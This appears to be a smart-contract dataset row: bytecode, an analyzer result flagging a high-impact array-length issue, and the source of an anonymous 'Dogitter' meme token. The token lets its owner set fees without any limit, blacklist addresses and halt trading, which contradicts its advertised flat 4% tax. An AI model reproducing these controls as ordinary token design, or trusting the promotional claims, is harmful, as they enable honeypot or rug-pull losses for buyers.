00000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8161364e84614155565b10156136c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f42616c616e636520697320746f6f20736d616c6c2e000000000000000000000081525060200191505060405180910390fd5b613713826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405280838152602001848152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050508273ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b8383604051808381526020018281526020019250505060405180910390a2505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461395f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61396881614326565b50565b60008090505b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015613dd85742600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613a0657fe5b90600052602060002090600202016000015411613dcb57613ac9600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613a6a57fe5b9060005260206000209060020201600101546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110613b8d57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613c0057fe5b9060005260206000209060020201600101819055506001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050038114613d7757600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490500381548110613cf057fe5b9060005260206000209060020201600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613d4857fe5b906000526020600020906002020160008201548160000155600182015481600101559050508080600190039150505b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480919060019003613dc99190614653565b505b8080600101915050613971565b5050565b6000613e6d82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613ef8848484614489565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015613ff957600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561403d57600080fd5b61405281600254613fe490919063ffffffff16565b6002819055506140a9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000828211156141ac57600080fd5b600082840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156141f757600080fd5b61420c8160025461419d90919063ffffffff16565b600281905550614263816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600061431c338484614489565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156143c9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f416c7265616479206f776e65720000000000000000000000000000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156144c357600080fd5b614514816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506145a7816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b8154818355818111156146805760020281600202836000526020600020918201910161467f9190614685565b5b505050565b6146b191905b808211156146ad5760008082016000905560018201600090555060020161468b565b5090565b9056fea265627a7a7231582030812321246610e600f4ad737f839ef2de0b61b596830d3ae3c3a41e01bf4e4764736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,209 |
0xe38a6cb335859cc1d3c61fa61fa7a7f8771e857b
|
/**
An anonymous Social Experiment, Read below
Dogitter - A Social Experiment for The Doge Twitter
- By Anon Elon
The Free Speech Movement Begins..... (Expect us on official Channel Below)
We are anonymous for the Launch, There is a channel link below
Soon there will be an official Community link on this channel only
https://t.me/dogitter
4% Flat Tax (8% Round Trip)
100% Liquidity Locked for 1 month
Renounced after Lifting Max Transaction (After Launch)
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract dogitterexp is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "The Doge Twitter";
string private constant _symbol = "DOGITTER";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 4;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x0dF5356173990F74E4350781cfbe39729D33d537);
address payable private _marketingAddress = payable(0x0dF5356173990F74E4350781cfbe39729D33d537);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055f578063dd62ed3e1461057f578063ea1644d5146105c5578063f2fde38b146105e557600080fd5b8063a2a957bb146104da578063a9059cbb146104fa578063bfd792841461051a578063c3c8cd801461054a57600080fd5b80638f70ccf7116100d15780638f70ccf7146104535780638f9a55c01461047357806395d89b411461048957806398a5c315146104ba57600080fd5b80637d1db4a5146103f25780637f2feddc146104085780638da5cb5b1461043557600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038857806370a082311461039d578063715018a6146103bd57806374010ece146103d257600080fd5b8063313ce5671461030c57806349bd5a5e146103285780636b999053146103485780636d8aa8f81461036857600080fd5b80631694505e116101ab5780631694505e1461027957806318160ddd146102b157806323b872dd146102d65780632fd689e3146102f657600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024957600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611969565b610605565b005b34801561020a57600080fd5b5060408051808201909152601081526f2a3432902237b3b2902a3bb4ba3a32b960811b60208201525b6040516102409190611a2e565b60405180910390f35b34801561025557600080fd5b50610269610264366004611a83565b6106a4565b6040519015158152602001610240565b34801561028557600080fd5b50601454610299906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b3480156102bd57600080fd5b50670de0b6b3a76400005b604051908152602001610240565b3480156102e257600080fd5b506102696102f1366004611aaf565b6106bb565b34801561030257600080fd5b506102c860185481565b34801561031857600080fd5b5060405160098152602001610240565b34801561033457600080fd5b50601554610299906001600160a01b031681565b34801561035457600080fd5b506101fc610363366004611af0565b610724565b34801561037457600080fd5b506101fc610383366004611b1d565b61076f565b34801561039457600080fd5b506101fc6107b7565b3480156103a957600080fd5b506102c86103b8366004611af0565b610802565b3480156103c957600080fd5b506101fc610824565b3480156103de57600080fd5b506101fc6103ed366004611b38565b610898565b3480156103fe57600080fd5b506102c860165481565b34801561041457600080fd5b506102c8610423366004611af0565b60116020526000908152604090205481565b34801561044157600080fd5b506000546001600160a01b0316610299565b34801561045f57600080fd5b506101fc61046e366004611b1d565b6108c7565b34801561047f57600080fd5b506102c860175481565b34801561049557600080fd5b506040805180820190915260088152672227a3a4aa2a22a960c11b6020820152610233565b3480156104c657600080fd5b506101fc6104d5366004611b38565b61090f565b3480156104e657600080fd5b506101fc6104f5366004611b51565b61093e565b34801561050657600080fd5b50610269610515366004611a83565b61097c565b34801561052657600080fd5b50610269610535366004611af0565b60106020526000908152604090205460ff1681565b34801561055657600080fd5b506101fc610989565b34801561056b57600080fd5b506101fc61057a366004611b83565b6109dd565b34801561058b57600080fd5b506102c861059a366004611c07565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d157600080fd5b506101fc6105e0366004611b38565b610a7e565b3480156105f157600080fd5b506101fc610600366004611af0565b610aad565b6000546001600160a01b031633146106385760405162461bcd60e51b815260040161062f90611c40565b60405180910390fd5b60005b81518110156106a05760016010600084848151811061065c5761065c611c75565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069881611ca1565b91505061063b565b5050565b60006106b1338484610b97565b5060015b92915050565b60006106c8848484610cbb565b61071a843361071585604051806060016040528060288152602001611dbb602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f7565b610b97565b5060019392505050565b6000546001600160a01b0316331461074e5760405162461bcd60e51b815260040161062f90611c40565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107995760405162461bcd60e51b815260040161062f90611c40565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ec57506013546001600160a01b0316336001600160a01b0316145b6107f557600080fd5b476107ff81611231565b50565b6001600160a01b0381166000908152600260205260408120546106b59061126b565b6000546001600160a01b0316331461084e5760405162461bcd60e51b815260040161062f90611c40565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c25760405162461bcd60e51b815260040161062f90611c40565b601655565b6000546001600160a01b031633146108f15760405162461bcd60e51b815260040161062f90611c40565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109395760405162461bcd60e51b815260040161062f90611c40565b601855565b6000546001600160a01b031633146109685760405162461bcd60e51b815260040161062f90611c40565b600893909355600a91909155600955600b55565b60006106b1338484610cbb565b6012546001600160a01b0316336001600160a01b031614806109be57506013546001600160a01b0316336001600160a01b0316145b6109c757600080fd5b60006109d230610802565b90506107ff816112ef565b6000546001600160a01b03163314610a075760405162461bcd60e51b815260040161062f90611c40565b60005b82811015610a78578160056000868685818110610a2957610a29611c75565b9050602002016020810190610a3e9190611af0565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7081611ca1565b915050610a0a565b50505050565b6000546001600160a01b03163314610aa85760405162461bcd60e51b815260040161062f90611c40565b601755565b6000546001600160a01b03163314610ad75760405162461bcd60e51b815260040161062f90611c40565b6001600160a01b038116610b3c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062f565b6001600160a01b038216610c5a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062f565b6001600160a01b038216610d815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062f565b60008111610de35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062f565b6000546001600160a01b03848116911614801590610e0f57506000546001600160a01b03838116911614155b156110f057601554600160a01b900460ff16610ea8576000546001600160a01b03848116911614610ea85760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062f565b601654811115610efa5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062f565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3c57506001600160a01b03821660009081526010602052604090205460ff16155b610f945760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062f565b6015546001600160a01b038381169116146110195760175481610fb684610802565b610fc09190611cbc565b106110195760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062f565b600061102430610802565b60185460165491925082101590821061103d5760165491505b8080156110545750601554600160a81b900460ff16155b801561106e57506015546001600160a01b03868116911614155b80156110835750601554600160b01b900460ff165b80156110a857506001600160a01b03851660009081526005602052604090205460ff16155b80156110cd57506001600160a01b03841660009081526005602052604090205460ff16155b156110ed576110db826112ef565b4780156110eb576110eb47611231565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113257506001600160a01b03831660009081526005602052604090205460ff165b8061116457506015546001600160a01b0385811691161480159061116457506015546001600160a01b03848116911614155b15611171575060006111eb565b6015546001600160a01b03858116911614801561119c57506014546001600160a01b03848116911614155b156111ae57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d957506014546001600160a01b03858116911614155b156111eb57600a54600c55600b54600d555b610a7884848484611478565b6000818484111561121b5760405162461bcd60e51b815260040161062f9190611a2e565b5060006112288486611cd4565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a0573d6000803e3d6000fd5b60006006548211156112d25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062f565b60006112dc6114a6565b90506112e883826114c9565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133757611337611c75565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138b57600080fd5b505afa15801561139f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c